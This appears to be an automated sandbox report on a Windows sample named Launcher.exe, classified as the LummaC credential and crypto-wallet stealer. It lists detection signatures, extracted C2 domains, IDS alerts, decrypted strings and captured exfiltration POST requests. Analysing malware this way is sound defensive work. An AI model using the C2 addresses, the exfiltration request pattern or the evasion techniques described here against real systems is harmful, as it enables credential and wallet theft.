Edit tour

Windows Analysis Report
Launcher.exe

Overview

General Information

Sample name:	Launcher.exe
Analysis ID:	1579547
MD5:	b7c46f4d20c5a3926df76e882d2babe7
SHA1:	6df61219ed593a296a265a31fb6a354fa31649cd
SHA256:	c38f2f4bb95bdd3b5a62b650d233d5d697fbf74d607a65b5375eeb79c8e2e2fd
Tags:	exeuser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found evasive API chain (date check)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Launcher.exe (PID: 2656 cmdline: "C:\Users\user\Desktop\Launcher.exe" MD5: B7C46F4D20C5A3926DF76E882D2BABE7)

conhost.exe (PID: 2448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Launcher.exe (PID: 6292 cmdline: "C:\Users\user\Desktop\Launcher.exe" MD5: B7C46F4D20C5A3926DF76E882D2BABE7)

WerFault.exe (PID: 3480 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2656 -s 600 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["grannyejh.lat", "crosshuaht.lat", "energyaffai.lat", "rapeflowwj.lat", "aspecteirs.lat", "necklacebudi.lat", "discokeyus.lat", "sweepyribs.lat", "sustainskelet.lat"], "Build id": "yau6Na--622914791"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.2349716206.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2348231788.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2346332053.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2348803317.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2343011519.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2349091115.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2346946917.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2183979276.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2343830924.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2345580376.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2347665217.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2318603921.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2344743144.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Launcher.exe PID: 6292	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Launcher.exe PID: 6292	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Launcher.exe PID: 6292	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 12 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:50:02.489769+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	23.55.153.106	443	TCP
2024-12-22T23:50:04.998606+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	104.21.66.86	443	TCP
2024-12-22T23:50:07.040341+0100	2028371	3	Unknown Traffic	192.168.2.5	49712	104.21.66.86	443	TCP
2024-12-22T23:50:09.730127+0100	2028371	3	Unknown Traffic	192.168.2.5	49713	104.21.66.86	443	TCP
2024-12-22T23:50:12.283390+0100	2028371	3	Unknown Traffic	192.168.2.5	49715	104.21.66.86	443	TCP
2024-12-22T23:50:25.800225+0100	2028371	3	Unknown Traffic	192.168.2.5	49745	104.21.66.86	443	TCP
2024-12-22T23:50:28.783946+0100	2028371	3	Unknown Traffic	192.168.2.5	49756	104.21.66.86	443	TCP
2024-12-22T23:50:31.163794+0100	2028371	3	Unknown Traffic	192.168.2.5	49762	104.21.66.86	443	TCP
2024-12-22T23:50:39.867758+0100	2028371	3	Unknown Traffic	192.168.2.5	49783	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:50:05.781735+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49708	104.21.66.86	443	TCP
2024-12-22T23:50:08.103943+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49712	104.21.66.86	443	TCP
2024-12-22T23:50:40.653165+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49783	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:50:05.781735+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49708	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:50:08.103943+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49712	104.21.66.86	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:49:59.769175+0100	2058354	1	Domain Observed Used for C2 Detected	192.168.2.5	62557	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:50:00.322272+0100	2058358	1	Domain Observed Used for C2 Detected	192.168.2.5	57611	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:49:58.518570+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.5	58119	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:49:59.374717+0100	2058362	1	Domain Observed Used for C2 Detected	192.168.2.5	51134	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:49:58.128956+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.5	57378	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:49:58.998433+0100	2058370	1	Domain Observed Used for C2 Detected	192.168.2.5	63340	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:50:00.544562+0100	2058374	1	Domain Observed Used for C2 Detected	192.168.2.5	61042	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:50:00.095091+0100	2058376	1	Domain Observed Used for C2 Detected	192.168.2.5	53062	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:49:57.881651+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.5	60024	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:50:29.459744+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49756	104.21.66.86	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:50:31.184304+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49762	104.21.66.86	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T23:50:03.312525+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	49705	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.2332293012.0000000002F4D000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["grannyejh.lat", "crosshuaht.lat", "energyaffai.lat", "rapeflowwj.lat", "aspecteirs.lat", "necklacebudi.lat", "discokeyus.lat", "sweepyribs.lat", "sustainskelet.lat"], "Build id": "yau6Na--622914791"}

Multi AV Scanner detection for submitted file

Source: Launcher.exe	Virustotal: Detection: 44%			Perma Link
Source: Launcher.exe	ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.0% probability

Machine Learning detection for sample

Source: Launcher.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.2482454521.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 00000003.00000002.2482454521.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 00000003.00000002.2482454521.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 00000003.00000002.2482454521.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 00000003.00000002.2482454521.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 00000003.00000002.2482454521.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 00000003.00000002.2482454521.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 00000003.00000002.2482454521.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 00000003.00000002.2482454521.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: sweepyribs.lat
Source: 00000003.00000002.2482454521.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000003.00000002.2482454521.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000003.00000002.2482454521.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000003.00000002.2482454521.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000003.00000002.2482454521.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000003.00000002.2482454521.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: yau6Na--622914791

Source: Launcher.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49783 version: TLS 1.2

Source: Launcher.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_009E63B5 FindFirstFileExW,FindNextFileW,FindClose,FindClose,		0_2_009E63B5
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_009E6304 FindFirstFileExW,		0_2_009E6304

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058362 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat) : 192.168.2.5:51134 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.5:60024 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058376 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat) : 192.168.2.5:53062 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058374 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat) : 192.168.2.5:61042 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058358 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat) : 192.168.2.5:57611 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.5:57378 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058370 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat) : 192.168.2.5:63340 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058354 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat) : 192.168.2.5:62557 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.5:58119 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49708 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49708 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49712 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49712 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49756 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49705 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49762 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49783 -> 104.21.66.86:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat

Source: Joe Sandbox View	IP Address: 104.21.66.86 104.21.66.86
Source: Joe Sandbox View	IP Address: 23.55.153.106 23.55.153.106

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49715 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49712 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49745 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49756 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49762 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49713 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49783 -> 104.21.66.86:443

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 51Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CCOVNLAI1KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12791Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=FM6LQ1OGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15021Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9VUVW43BOUI50PRNUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20559Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3UJGQBBN0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1207Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=23BO8WTDUMZGFIJDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 568760Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 86Host: lev-tolstoi.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat
Source: global traffic	DNS traffic detected: DNS query: necklacebudi.lat
Source: global traffic	DNS traffic detected: DNS query: energyaffai.lat
Source: global traffic	DNS traffic detected: DNS query: aspecteirs.lat
Source: global traffic	DNS traffic detected: DNS query: sustainskelet.lat
Source: global traffic	DNS traffic detected: DNS query: crosshuaht.lat
Source: global traffic	DNS traffic detected: DNS query: rapeflowwj.lat
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: Launcher.exe, 00000003.00000003.2319197118.0000000003A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Launcher.exe, 00000003.00000003.2319197118.0000000003A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Launcher.exe, 00000003.00000003.2319197118.0000000003A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Launcher.exe, 00000003.00000003.2319197118.0000000003A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Launcher.exe, 00000003.00000003.2319197118.0000000003A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Launcher.exe, 00000003.00000003.2319197118.0000000003A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Launcher.exe, 00000003.00000003.2319197118.0000000003A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Launcher.exe, 00000003.00000003.2319197118.0000000003A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Launcher.exe, 00000003.00000003.2319197118.0000000003A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
